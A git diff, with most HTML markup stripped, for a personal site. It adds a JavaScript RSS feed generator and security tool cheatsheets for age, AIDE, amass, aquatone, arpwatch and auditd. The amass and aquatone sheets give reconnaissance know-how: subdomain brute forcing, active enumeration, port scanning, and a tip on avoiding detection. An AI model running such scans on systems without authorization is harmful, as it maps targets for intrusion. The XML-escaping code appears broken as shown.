new Date(post.date).toUTCString(); + + return ` + ${title} + https://example.com/blogpost.html?id=${post.id} + https://example.com/blogpost.html?id=${post.id} + ${pubDate} +
      ${content}]]>
      +
      `; + }).join('\n'); + + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + return rssXml; + } catch (error) { + console.error('Error generating RSS feed:', error); + return null; + } +} + +// If this script is run directly (not imported), generate and serve the feed +if (typeof window === 'undefined') { + // Node.js environment - generate RSS file + const fs = require('fs'); + const path = require('path'); + + async function writeRSSFile() { + const posts = JSON.parse(fs.readFileSync(path.join(__dirname, 'blog-posts.json'), 'utf8')); + const sortedPosts = posts.sort((a, b) => new Date(b.date) - new Date(a.date)); + + const escapeXml = (str) => { + return str.replace(/&/g, '&') + .replace(//g, '>') + .replace(/"/g, '"') + .replace(/'/g, '''); + }; + + const rssItems = sortedPosts.map(post => { + const content = escapeXml(post.content); + const title = escapeXml(post.title); + const excerpt = escapeXml(post.excerpt); + const pubDate = new Date(post.date).toUTCString(); + + return ` + ${title} + https://example.com/blogpost.html?id=${post.id} + https://example.com/blogpost.html?id=${post.id} + ${pubDate} +
      ${content}]]>
      +
      `; + }).join('\n'); + + const rssXml = ` + + + My Blog + https://example.com/blog + Blog posts + en-us + ${new Date().toUTCString()} + +${rssItems} + +`; + + fs.writeFileSync(path.join(__dirname, 'feed.xml'), rssXml, 'utf8'); + console.log('RSS feed generated successfully'); + } + + writeRSSFile(); +} diff --git a/blog/post.html b/blog/post.html new file mode 100644 index 0000000..3961b1e --- /dev/null +++ b/blog/post.html @@ -0,0 +1,61 @@ + + + + + + + + + + + + Blog Post - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +/ \ / \_ _____/\______ \/ _____/| \__ ___/\_ _____/ +\ \/\/ /| __)_ | | _/\_____ \ | | | | | __)_ + \ / | \ | | \/ \| | | | | \ + \__/\ / /_______ / |______ /_______ /|___| |____| /_______ / + \/ \/ \/ \/ \/ + +
      +
      + +
      +
      +
      + + + +

      Loading...

      +
      +
      +
      + +
      +
      +
      + + + + + + diff --git a/cheatsheets/age.html b/cheatsheets/age.html new file mode 100644 index 0000000..b7f85e2 --- /dev/null +++ b/cheatsheets/age.html @@ -0,0 +1,157 @@ + + + + + + + + + + + age Cheatsheet - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      age Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      age is a simple, modern file encryption tool. It's designed to replace GPG for file encryption with a simpler, safer design. Uses modern cryptography (X25519, ChaCha20Poly1305, HKDF).

      +
      +

      Key Generation

      +
        +
      • age-keygen -o key.txt - Generate a new keypair
      • +
      +
        +
      • age-keygen -y key.txt - Extract public key from keypair
      • +
      +
        +
      • Public key format: age1...
      • +
      +
        +
      • Private key format: AGE-SECRET-KEY-1...
      • +
      +
      +

      Encryption

      +
        +
      • age -r age1... -o encrypted.age file.txt - Encrypt with recipient public key
      • +
      +
        +
      • age -r age1... -r age1... file.txt - Encrypt to multiple recipients
      • +
      +
        +
      • age -p -o encrypted.age file.txt - Encrypt with passphrase
      • +
      +
        +
      • cat file.txt | age -r age1... > encrypted.age - Encrypt from stdin
      • +
      +
      +

      Decryption

      +
        +
      • age -d -i key.txt -o decrypted.txt encrypted.age - Decrypt with key file
      • +
      +
        +
      • age -d encrypted.age - Decrypt with passphrase (prompts)
      • +
      +
        +
      • age -d -i key.txt encrypted.age - Decrypt to stdout
      • +
      +
        +
      • cat encrypted.age | age -d -i key.txt - Decrypt from stdin
      • +
      +
      +

      Options

      +
        +
      • -r, --recipient - Recipient public key (can use multiple times)
      • +
      +
        +
      • -i, --identity - Identity (private key) file
      • +
      +
        +
      • -o, --output - Output file
      • +
      +
        +
      • -p, --passphrase - Encrypt with passphrase instead of key
      • +
      +
        +
      • -d, --decrypt - Decrypt mode
      • +
      +
        +
      • -y, --yubikey - Use YubiKey for decryption
      • +
      +
      +

      Common Examples

      +

      Generate Keypair

      +
      age-keygen -o ~/.age/key.txt
      +

      Create a new keypair and save to file.

      +

      Encrypt File

      +
      age -r age1abc123... -o secret.age secret.txt
      +

      Encrypt file to recipient.

      +

      Decrypt File

      +
      age -d -i ~/.age/key.txt -o secret.txt secret.age
      +

      Decrypt file with private key.

      +

      Passphrase Encryption

      +
      age -p -o backup.age backup.tar.gz
      +

      Encrypt with passphrase (no key needed).

      +

      Multiple Recipients

      +
      age -r age1... -r age1... -o shared.age document.txt
      +

      Encrypt so multiple people can decrypt.

      +
      +

      Tips

      +
        +
      • age is simpler and faster than GPG for file encryption
      • +
      +
        +
      • Public keys are safe to share (age1... format)
      • +
      +
        +
      • Keep private keys secure (AGE-SECRET-KEY-1... format)
      • +
      +
        +
      • Use passphrase mode for quick encryption without key management
      • +
      +
        +
      • Multiple recipients can decrypt the same file
      • +
      +
        +
      • Great for encrypting backups, secrets, and sensitive files
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/aide.html b/cheatsheets/aide.html new file mode 100644 index 0000000..7f58eb6 --- /dev/null +++ b/cheatsheets/aide.html @@ -0,0 +1,417 @@ + + + + + + + + + + + AIDE Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      AIDE Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      AIDE (Advanced Intrusion Detection Environment) is a file and directory integrity checker. It creates a baseline database of file attributes and can detect unauthorized changes to protected files and directories.

      +
      +

      Installation

      +
        +
      • apt install aide - Install on Debian/Ubuntu
      • +
      +
        +
      • yum install aide - Install on RHEL/CentOS
      • +
      +
        +
      • dnf install aide - Install on Fedora
      • +
      +
        +
      • pacman -S aide - Install on Arch Linux
      • +
      +
      +

      Initial Setup

      +
        +
      • aide --init - Initialize AIDE database
      • +
      +
        +
      • mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db - Rename database to make it active
      • +
      +
        +
      • aideinit - Initialize AIDE (Ubuntu/Debian helper script)
      • +
      +
      +

      Checking Integrity

      +
        +
      • aide --check - Run integrity check
      • +
      +
        +
      • aide --check --report=file:/var/log/aide/report.log - Check and save report to file
      • +
      +
        +
      • aide -C - Check (same as --check)
      • +
      +
        +
      • aide --check | tee /var/log/aide/aide-check.log - Check and display output
      • +
      +
        +
      • aide --check --config=/etc/aide/aide.conf - Use specific config file
      • +
      +
      +

      Updating Database

      +
        +
      • aide --update - Update database after legitimate changes
      • +
      +
        +
      • mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db - Make updated database active
      • +
      +
        +
      • aideinit -y - Update database (Ubuntu/Debian, auto-confirm)
      • +
      +
      +

      Configuration File

      +
        +
      • /etc/aide/aide.conf - Main configuration file
      • +
      +
        +
      • /etc/aide/aide.conf.d/ - Configuration directory (some distributions)
      • +
      +
        +
      • aide --config-check - Check configuration file syntax
      • +
      +

      Configuration Syntax

      +
      # Define a rule name
      +RuleName = p+i+n+u+g+s+m+c+md5+sha256
      +
      +# Monitor a directory
      +/etc RuleName
      +
      +# Monitor specific file
      +/etc/passwd RuleName
      +
      +# Exclude patterns
      +!/etc/mtab
      +!/var/log
      +!/proc
      +!/sys
      +!/tmp
      +!/var/tmp
      +
      +# Use predefined rules
      +/etc p+u+g
      +/bin p+u+g+i+n
      +
      +

      Rule Attributes

      +
        +
      • p - Permissions
      • +
      +
        +
      • i - Inode
      • +
      +
        +
      • n - Number of links
      • +
      +
        +
      • u - User (owner)
      • +
      +
        +
      • g - Group
      • +
      +
        +
      • s - Size
      • +
      +
        +
      • b - Block count
      • +
      +
        +
      • m - mtime (modification time)
      • +
      +
        +
      • a - atime (access time)
      • +
      +
        +
      • c - ctime (inode change time)
      • +
      +
        +
      • S - Growing size
      • +
      +
        +
      • md5 - MD5 checksum
      • +
      +
        +
      • sha1 - SHA1 checksum
      • +
      +
        +
      • sha256 - SHA256 checksum
      • +
      +
        +
      • sha512 - SHA512 checksum
      • +
      +
        +
      • rmd160 - RIPEMD160 checksum
      • +
      +
        +
      • tiger - Tiger checksum
      • +
      +
        +
      • haval - Haval checksum
      • +
      +
        +
      • gost - GOST checksum
      • +
      +
        +
      • crc32 - CRC32 checksum
      • +
      +
        +
      • E - Extended attributes
      • +
      +
        +
      • I - Immutable bits
      • +
      +
        +
      • l - Link name
      • +
      +
        +
      • xattrs - Extended attributes (filesystem dependent)
      • +
      +
        +
      • selinux - SELinux context
      • +
      +
        +
      • acl - Access Control Lists
      • +
      +
      +

      Common Configuration Examples

      +

      Monitor Critical System Files

      +
      # Critical system directories
      +/etc            p+i+n+u+g+s+m+c+sha256
      +/bin            p+i+n+u+g+s+m+c+sha256
      +/sbin           p+i+n+u+g+s+m+c+sha256
      +/usr/bin        p+i+n+u+g+s+m+c+sha256
      +/usr/sbin       p+i+n+u+g+s+m+c+sha256
      +/lib            p+i+n+u+g+s+m+c+sha256
      +/lib64          p+i+n+u+g+s+m+c+sha256
      +/usr/lib        p+i+n+u+g+s+m+c+sha256
      +
      +# Important configuration files
      +/etc/passwd     p+i+n+u+g+s+m+c+sha256
      +/etc/shadow     p+i+n+u+g+s+m+c+sha256
      +/etc/group      p+i+n+u+g+s+m+c+sha256
      +/etc/sudoers    p+i+n+u+g+s+m+c+sha256
      +/etc/ssh/sshd_config p+i+n+u+g+s+m+c+sha256
      +

      Exclude Directories

      +
      # Exclude temporary and dynamic directories
      +!/tmp
      +!/var/tmp
      +!/proc
      +!/sys
      +!/dev
      +!/run
      +!/var/run
      +!/var/log
      +!/var/cache
      +!/var/lib/dpkg
      +!/var/lib/apt
      +

      Web Server Example

      +
      # Monitor web root
      +/var/www        p+i+n+u+g+s+m+c+sha256
      +
      +# Monitor web server config
      +/etc/apache2    p+i+n+u+g+s+m+c+sha256
      +/etc/nginx      p+i+n+u+g+s+m+c+sha256
      +
      +# Exclude logs
      +!/var/www/logs
      +!/var/log/apache2
      +!/var/log/nginx
      +
      +

      Database Files

      +
        +
      • /var/lib/aide/aide.db - Active integrity database
      • +
      +
        +
      • /var/lib/aide/aide.db.new - New database (after --update or --init)
      • +
      +
        +
      • /var/lib/aide/aide.db.gz - Compressed database
      • +
      +
        +
      • /var/lib/aide/aide.db.new.gz - Compressed new database
      • +
      +
      +

      Automated Checks

      +

      Cron Job Example

      +
      # Daily AIDE check
      +0 2 * * * /usr/bin/aide --check | mail -s "AIDE Report $(hostname)" admin@example.com
      +
      +# Weekly AIDE check with logging
      +0 3 * * 0 /usr/bin/aide --check --report=file:/var/log/aide/check-$(date +\%Y\%m\%d).log
      +

      Systemd Timer Example

      +
      # /etc/systemd/system/aide-check.service
      +[Unit]
      +Description=AIDE Integrity Check
      +After=network.target
      +
      +[Service]
      +Type=oneshot
      +ExecStart=/usr/bin/aide --check
      +StandardOutput=journal
      +StandardError=journal
      +
      +# /etc/systemd/system/aide-check.timer
      +[Unit]
      +Description=Run AIDE check daily
      +Requires=aide-check.service
      +
      +[Timer]
      +OnCalendar=daily
      +Persistent=true
      +
      +[Install]
      +WantedBy=timers.target
      +
      +

      Interpreting Results

      +
        +
      • Total number of files - Files in database
      • +
      +
        +
      • Added files - New files detected (not in database)
      • +
      +
        +
      • Removed files - Files missing (in database but not on disk)
      • +
      +
        +
      • Changed files - Files with modified attributes
      • +
      +
      +

      Updating After Legitimate Changes

      +
      # After installing packages, updating configs, etc.
      +# 1. Run update to create new database
      +aide --update
      +
      +# 2. Review changes in aide.db.new
      +aide --diff --config=/etc/aide/aide.conf
      +
      +# 3. If changes are legitimate, activate new database
      +mv /var/lib/aide/aide.db.new /var/lib/aide/aide.db
      +
      +# 4. Optionally compress old database
      +gzip /var/lib/aide/aide.db.old
      +
      +

      Comparing Databases

      +
        +
      • aide --diff - Compare database with current system state
      • +
      +
        +
      • aide --compare=/path/to/old/aide.db - Compare with specific database
      • +
      +
      +

      Verbose Output

      +
        +
      • aide --check -V - Verbose output
      • +
      +
        +
      • aide --check --verbose - Verbose output (long form)
      • +
      +
        +
      • aide --check -u - Update mode (shows what would be updated)
      • +
      +
      +

      Limiting Checks

      +
        +
      • aide --check --limit /etc - Check only /etc directory
      • +
      +
        +
      • aide --check --limit /etc/passwd - Check specific file
      • +
      +
      +

      Tips

      +
        +
      • Initialize AIDE database on a clean, trusted system
      • +
      +
        +
      • Store database backup on read-only media or remote location
      • +
      +
        +
      • Use strong checksums (sha256/sha512) for better security
      • +
      +
        +
      • Regularly update database after legitimate system changes
      • +
      +
        +
      • Automate integrity checks with cron or systemd timers
      • +
      +
        +
      • Review and investigate all reported changes immediately
      • +
      +
        +
      • Exclude frequently changing directories (/tmp, /var/log, etc.)
      • +
      +
        +
      • Monitor critical system binaries and configuration files
      • +
      +
        +
      • Keep multiple database backups for forensic analysis
      • +
      +
        +
      • Use compressed databases to save disk space
      • +
      +
        +
      • Test configuration with --config-check before initialization
      • +
      +
        +
      • Use verbose mode when investigating changes
      • +
      +
        +
      • Combine AIDE with auditd for comprehensive file monitoring
      • +
      +
        +
      • Document all legitimate changes before updating database
      • +
      +
        +
      • Set up email alerts for automated integrity checks
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/amass.html b/cheatsheets/amass.html new file mode 100644 index 0000000..ffd3ae1 --- /dev/null +++ b/cheatsheets/amass.html @@ -0,0 +1,234 @@ + + + + + + + + + + + amass Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      amass Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Amass is an OWASP project for in-depth attack surface mapping and asset discovery using open source information gathering and active reconnaissance techniques.

      +
      +

      Subcommands

      +
        +
      • amass intel - Discover targets for enumeration
      • +
      +
        +
      • amass enum - Perform subdomain enumeration
      • +
      +
        +
      • amass viz - Visualize enumeration results
      • +
      +
        +
      • amass track - Track differences between enumerations
      • +
      +
        +
      • amass db - Manage the graph database
      • +
      +
      +

      Intel Subcommand

      +
        +
      • amass intel -d <domain> - Basic intel gathering
      • +
      +
        +
      • amass intel -whois -d <domain> - Reverse WHOIS lookup
      • +
      +
        +
      • amass intel -org <organization> - Find ASNs by organization
      • +
      +
        +
      • amass intel -asn <asn> - Get info about an ASN
      • +
      +
        +
      • amass intel -ip <ip> - Discover domains from IP
      • +
      +
        +
      • amass intel -cidr <cidr> - Discover domains from CIDR
      • +
      +
      +

      Enum Subcommand - Basic

      +
        +
      • amass enum -d <domain> - Basic passive enumeration
      • +
      +
        +
      • amass enum -passive -d <domain> - Passive only (no DNS resolution)
      • +
      +
        +
      • amass enum -active -d <domain> - Active enumeration (zone transfers, etc.)
      • +
      +
        +
      • amass enum -brute -d <domain> - Brute force subdomain enumeration
      • +
      +
        +
      • amass enum -d <domain> -o output.txt - Save results to file
      • +
      +
      +

      Enum Subcommand - Advanced

      +
        +
      • amass enum -d <domain> -src - Show data sources
      • +
      +
        +
      • amass enum -d <domain> -ip - Show IP addresses
      • +
      +
        +
      • amass enum -d <domain> -ipv4 - Show only IPv4 addresses
      • +
      +
        +
      • amass enum -d <domain> -ipv6 - Show only IPv6 addresses
      • +
      +
        +
      • amass enum -d <domain> -r <resolver> - Use custom resolver
      • +
      +
        +
      • amass enum -d <domain> -rf resolvers.txt - Use resolver file
      • +
      +
        +
      • amass enum -d <domain> -w wordlist.txt - Custom wordlist for brute
      • +
      +
        +
      • amass enum -d <domain> -max-dns-queries 200 - Limit DNS queries/sec
      • +
      +
      +

      Configuration

      +
        +
      • amass enum -config config.ini -d <domain> - Use config file
      • +
      +
        +
      • amass enum -list - List all data sources
      • +
      +

      Config File Location

      +
        +
      • ~/.config/amass/config.yaml - Default config location
      • +
      • ~/.config/amass/datasources.yaml - Data sources config
      • +
      +

      Example datasources.yaml

      +
      datasources:
      +  - name: SecurityTrails
      +    creds:
      +      apikey: your_api_key_here
      +  - name: Shodan
      +    creds:
      +      apikey: your_api_key_here
      +
      +

      Database Operations

      +
        +
      • amass db -list - List all enumerations
      • +
      +
        +
      • amass db -d <domain> -show - Show stored data for domain
      • +
      +
        +
      • amass db -d <domain> -names - List discovered names
      • +
      +
        +
      • amass db -d <domain> -ip - Show IP addresses
      • +
      +
      +

      Visualization

      +
        +
      • amass viz -d <domain> -d3 - Generate D3.js visualization
      • +
      +
        +
      • amass viz -d <domain> -gexf - Generate GEXF file (Gephi)
      • +
      +
        +
      • amass viz -d <domain> -graphistry - Generate Graphistry JSON
      • +
      +
        +
      • amass viz -d <domain> -maltego - Generate Maltego output
      • +
      +
      +

      Tracking Changes

      +
        +
      • amass track -d <domain> - Track differences between runs
      • +
      +
        +
      • amass track -d <domain> -history - Show enumeration history
      • +
      +
        +
      • amass track -d <domain> -since "2024-01-01" - Changes since date
      • +
      +
      +

      Common Examples

      +

      Full Passive Enumeration

      +
      amass enum -passive -d example.com -src -ip -o results.txt
      +

      Passive enumeration showing sources and IPs.

      +

      Aggressive Active Scan

      +
      amass enum -active -brute -d example.com -w wordlist.txt -o results.txt
      +

      Active scan with brute forcing.

      +

      Quick Reconnaissance

      +
      amass intel -whois -d example.com
      +

      Discover related domains via WHOIS.

      +
      +

      Tips

      +
        +
      • Use API keys in config for better results (SecurityTrails, Shodan, etc.)
      • +
      +
        +
      • Start with passive enumeration to avoid detection
      • +
      +
        +
      • Use -src to understand where data comes from
      • +
      +
        +
      • Combine with other tools like subfinder for comprehensive coverage
      • +
      +
        +
      • Use custom resolvers to avoid rate limiting
      • +
      +
        +
      • The database persists data between runs for tracking
      • +
      +
        +
      • Always get authorization before scanning targets you don't own
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/aquatone.html b/cheatsheets/aquatone.html new file mode 100644 index 0000000..77a7168 --- /dev/null +++ b/cheatsheets/aquatone.html @@ -0,0 +1,209 @@ + + + + + + + + + + + aquatone Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      aquatone Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      Aquatone is a tool for visual inspection of websites across a large number of hosts. It takes screenshots of web pages and creates an HTML report for easy browsing and analysis.

      +
      +

      Basic Usage

      +
        +
      • cat hosts.txt | aquatone - Screenshot hosts from file
      • +
      +
        +
      • echo "example.com" | aquatone - Screenshot single host
      • +
      +
      +

      Input Methods

      +
        +
      • Pipe hostnames/URLs via stdin
      • +
      +
        +
      • One target per line
      • +
      +
        +
      • Accepts hostnames, IPs, or full URLs
      • +
      +
      +

      Options

      +
        +
      • -out <dir> - Output directory (default: ./aquatone)
      • +
      +
        +
      • -ports <ports> - Ports to scan (see below)
      • +
      +
        +
      • -threads <num> - Concurrent threads (default: 8)
      • +
      +
        +
      • -timeout <ms> - Screenshot timeout in ms (default: 30000)
      • +
      +
        +
      • -http-timeout <ms> - HTTP request timeout (default: 10000)
      • +
      +
        +
      • -scan-timeout <ms> - Port scan timeout (default: 3000)
      • +
      +
        +
      • -screenshot-timeout <ms> - Screenshot timeout (default: 30000)
      • +
      +
        +
      • -silent - Suppress output
      • +
      +
        +
      • -nmap - Parse nmap XML file
      • +
      +
        +
      • -chrome-path <path> - Path to Chrome/Chromium
      • +
      +
        +
      • -proxy <url> - HTTP proxy
      • +
      +
      +

      Port Presets

      +
        +
      • -ports small - 80, 443
      • +
      +
        +
      • -ports medium - 80, 443, 8000, 8080, 8443
      • +
      +
        +
      • -ports large - 80, 81, 443, 591, 2082, 2087, 2095, 2096, 3000, 8000, 8001, 8008, 8080, 8083, 8443, 8834, 8888
      • +
      +
        +
      • -ports xlarge - Extended list of common web ports
      • +
      +
        +
      • -ports <custom> - Comma-separated list (e.g., 80,443,8080)
      • +
      +
      +

      Output Files

      +
        +
      • aquatone_report.html - Main HTML report
      • +
      +
        +
      • aquatone_urls.txt - Discovered URLs
      • +
      +
        +
      • aquatone_session.json - Session data
      • +
      +
        +
      • headers/ - Response headers
      • +
      +
        +
      • html/ - Response bodies
      • +
      +
        +
      • screenshots/ - Screenshot images
      • +
      +
      +

      Common Examples

      +

      Basic Screenshot

      +
      cat subdomains.txt | aquatone
      +

      Screenshot all subdomains.

      +

      Custom Output Directory

      +
      cat hosts.txt | aquatone -out ./results
      +

      Save to specific directory.

      +

      Extended Port Scan

      +
      cat hosts.txt | aquatone -ports large
      +

      Check more common web ports.

      +

      Custom Ports

      +
      cat hosts.txt | aquatone -ports 80,443,8080,8443
      +

      Specify exact ports to check.

      +

      Faster Scanning

      +
      cat hosts.txt | aquatone -threads 20
      +

      Increase concurrent threads.

      +

      With Nmap Results

      +
      cat nmap_scan.xml | aquatone -nmap
      +

      Parse nmap XML output for targets.

      +

      Pipeline with Subfinder

      +
      subfinder -d example.com -silent | aquatone
      +

      Combine with subdomain discovery.

      +

      Full Pipeline

      +
      subfinder -d example.com -silent | httpx -silent | aquatone
      +

      Discover, probe, and screenshot.

      +

      Through Proxy

      +
      cat hosts.txt | aquatone -proxy http://127.0.0.1:8080
      +

      Route through Burp Suite.

      +
      +

      Tips

      +
        +
      • Use httpx first to filter live hosts
      • +
      +
        +
      • Increase threads for large target lists
      • +
      +
        +
      • Use -ports large for thorough scanning
      • +
      +
        +
      • Check the HTML report for visual analysis
      • +
      +
        +
      • Screenshots help identify interesting targets
      • +
      +
        +
      • Headers can reveal server info and security configs
      • +
      +
        +
      • Requires Chrome/Chromium for screenshots
      • +
      +
        +
      • Consider gowitness as an alternative
      • +
      +
        +
      • Always get authorization before scanning
      • +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +
      +
      +
      + + + + diff --git a/cheatsheets/arpwatch.html b/cheatsheets/arpwatch.html new file mode 100644 index 0000000..a37b94c --- /dev/null +++ b/cheatsheets/arpwatch.html @@ -0,0 +1,183 @@ + + + + + + + + + + + arpwatch Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      arpwatch Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      arpwatch monitors ARP (Address Resolution Protocol) traffic on a network and logs changes to the Ethernet/IP address pairings. Detects ARP spoofing, MAC address changes, and network anomalies.

      +
      +

      Basic Usage

      +
        +
      • arpwatch -i eth0 - Monitor interface
      • +
      +
        +
      • arpwatch -d -i eth0 - Run in foreground (debug)
      • +
      +
        +
      • arpwatch -f arp.dat -i eth0 - Use database file
      • +
      +
        +
      • arpwatch -u arpwatch -i eth0 - Run as user
      • +
      +
      +

      Options

      +
        +
      • -i interface - Network interface to monitor
      • +
      +
        +
      • -d - Debug mode (foreground)
      • +
      +
        +
      • -f file - Database file (default: /var/lib/arpwatch/arp.dat)
      • +
      +
        +
      • -u user - Run as user
      • +
      +
        +
      • -n net/mask - Network specification
      • +
      +
        +
      • -r file - Read from pcap file
      • +
      +
        +
      • -m addr - Ignore MAC address
      • +
      +
        +
      • -N - Suppress reporting of station flip flops
      • +
      +
      +

      Database Files

      +
        +
      • /var/lib/arpwatch/arp.dat - ARP database
      • +
      +
        +
      • /var/lib/arpwatch/ethercodes.dat - Ethernet vendor codes
      • +
      +
        +
      • arpwatch -f custom.dat -i eth0 - Custom database
      • +
      +
      +

      Log Files

      +
        +
      • /var/log/arpwatch.log - Activity log
      • +
      +
        +
      • /var/log/syslog - System log (if configured)
      • +
      +
        +
      • tail -f /var/log/arpwatch.log - Watch live
      • +
      +
      +

      Common Examples

      +

      Monitor Interface

      +
      arpwatch -i eth0
      +

      Start monitoring on interface.

      +

      Debug Mode

      +
      arpwatch -d -i eth0
      +

      Run in foreground for debugging.

      +

      Custom Database

      +
      arpwatch -f /path/to/arp.dat -i eth0
      +

      Use custom database file.

      +

      Read from PCAP

      +
      arpwatch -r capture.pcap
      +

      Analyze captured traffic.

      +

      Ignore MAC

      +
      arpwatch -m 00:11:22:33:44:55 -i eth0
      +

      Ignore specific MAC address.

      +

      View Logs

      +
      tail -f /var/log/arpwatch.log
      +

      Monitor activity in real-time.

      +
      +

      Detection Events

      +
        +
      • New station - New MAC/IP pair detected
      • +
      +
        +
      • Changed ethernet address - MAC changed for IP
      • +
      +
        +
      • Flip flop - MAC address alternating
      • +
      +
        +
      • Bogon - Invalid IP address
      • +
      +
        +
      • Reused old ethernet address - MAC reappeared
      • +
      +
      +

      Tips

      +
        +
      • Run as daemon for continuous monitoring
      • +
      +
        +
      • Check logs regularly for anomalies
      • +
      +
        +
      • Use -d for initial setup and testing
      • +
      +
        +
      • Monitor for MAC address changes (possible ARP spoofing)
      • +
      +
        +
      • Essential for network security monitoring
      • +
      +
        +
      • Detects ARP cache poisoning attacks
      • +
      +
        +
      • Use with email alerts for critical changes
      • +
      +
        +
      • Review database periodically
      • +
      +
      +
      +
      +
      + + + + + diff --git a/cheatsheets/auditd.html b/cheatsheets/auditd.html new file mode 100644 index 0000000..b3daed7 --- /dev/null +++ b/cheatsheets/auditd.html @@ -0,0 +1,399 @@ + + + + + + + + + + + auditd Cheatsheet - Cheatsheets - Launch Pad + + + +

      +
      + __ _______________________ _________._________________________ +\_ _____/ \______ \ / _ \ / _____/ / _____/ | | \_ _____/ + | __) | _/ / /_\ \ / \ ___ / \ ___ | | | __)_ + | \ | | \ / | \ \ \_\ \ \ \_\ \ | |___ | \ + \___ / |____|_ / \____|__ / \______ / \______ / |_______ \ /_______ / + \/ \/ \/ \/ \/ \/ \/ +
      +
      +
      + + + +

      auditd Cheatsheet

      +
      +
      +
      +
      +
      +
      +

      ← Back to cheatsheets

      +

      ← Home

      +
      +

      auditd (Linux Audit Daemon) is the user-space component of the Linux Auditing System. It collects and stores audit records from the kernel, monitoring system calls and file access for security compliance and forensics.

      +
      +

      Service Management

      +
        +
      • systemctl start auditd - Start audit daemon
      • +
      +
        +
      • systemctl stop auditd - Stop audit daemon
      • +
      +
        +
      • systemctl restart auditd - Restart audit daemon
      • +
      +
        +
      • systemctl status auditd - Check audit daemon status
      • +
      +
        +
      • systemctl enable auditd - Enable audit daemon at boot
      • +
      +
        +
      • auditctl -e 1 - Enable auditing
      • +
      +
        +
      • auditctl -e 0 - Disable auditing
      • +
      +
        +
      • auditctl -s - Show audit system status
      • +
      +
      +

      Viewing Audit Logs

      +
        +
      • ausearch -k - Search by key
      • +
      +
        +
      • ausearch -m - Search by message type
      • +
      +
        +
      • ausearch -ua - Search by user ID
      • +
      +
        +
      • ausearch -ui - Search by effective user ID
      • +
      +
        +
      • ausearch -x - Search by executable name
      • +
      +
        +
      • ausearch -sc - Search by syscall
      • +
      +
        +
      • ausearch -ts today - Search today's events
      • +
      +
        +
      • ausearch -ts recent - Search recent events
      • +
      +
        +
      • ausearch --start today --end now - Search time range
      • +
      +
        +
      • aureport - Summary report of audit events
      • +
      +
        +
      • aureport -au - Authentication report
      • +
      +
        +
      • aureport -m - Account modifications report
      • +
      +
        +
      • aureport -f - Failed file operations
      • +
      +
        +
      • aureport --summary - Summary of all events
      • +
      +
        +
      • ausearch -i - Interpret numeric entities (usernames, etc.)
      • +
      +
        +
      • tail -f /var/log/audit/audit.log - Monitor audit log in real-time
      • +
      +
      +

      Configuring Rules

      +
        +
      • /etc/audit/rules.d/audit.rules - Permanent rule configuration file
      • +
      +
        +
      • /etc/audit/auditd.conf - Audit daemon configuration
      • +
      +
        +
      • auditctl -l - List current rules
      • +
      +
        +
      • auditctl -D - Delete all rules
      • +
      +
        +
      • service auditd restart - Reload rules from configuration files
      • +
      +
      +

      File System Watch Rules

      +

      Watching Files

      +
        +
      • auditctl -w /etc/passwd -p rwxa -k passwd_changes - Watch file (read, write, execute, attribute)
      • +
      +
        +
      • auditctl -w /etc/shadow -p wa -k shadow_changes - Watch file (write, attribute)
      • +
      +
        +
      • auditctl -w /etc/sudoers -p wa -k sudoers_changes - Watch sudoers file
      • +
      +

      Watching Directories

      +
        +
